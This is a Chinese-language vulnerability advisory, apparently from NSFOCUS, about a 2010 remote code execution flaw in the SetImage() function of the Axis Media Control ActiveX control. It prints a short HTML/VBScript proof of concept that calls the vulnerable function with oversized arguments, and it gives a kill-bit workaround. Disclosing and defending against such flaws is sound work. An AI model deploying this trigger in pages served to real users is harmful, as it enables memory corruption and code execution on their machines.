安全研究
安全漏洞
Axis Media Controller ActiveX控件远程代码执行漏洞
发布日期：2010-06-23
更新日期：2010-06-24
受影响系统：Axis Communications Axis Media Control 5.8.5.3
描述：
BUGTRAQ ID:
41078
AXIS Media Control是用于查看和处理源自Axis视频产品的媒体流的ActiveX组件。
Axis Media Controller ActiveX控件（AxisMediaControlEmb.dll）中的SetImage()函数没有正确地验证用户所提供的theSize参数值，用户受骗访问了恶意网页并传送了超长参数就可以触发内存破坏，导致执行任意代码。
<*来源：shinnai （
shinnai@autistici.org）
链接：
http://0x769c9b5d.blogspot.com/2010/06/axis-media-control-embedded-multiple.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<object classid='clsid:DE625294-70E6-45ED-B895-CFFA13AEB044' id='test'></object>
<script language = 'vbscript'>
test.SetImage 1094795585 ,2147483646
</script>
</html>
建议：
临时解决方法：
* 为CLSID {DE625294-70E6-45ED-B895-CFFA13AEB044}设置kill bit。
厂商补丁：
Axis Communications
-------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.axis.com浏览次数：2284
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障 |
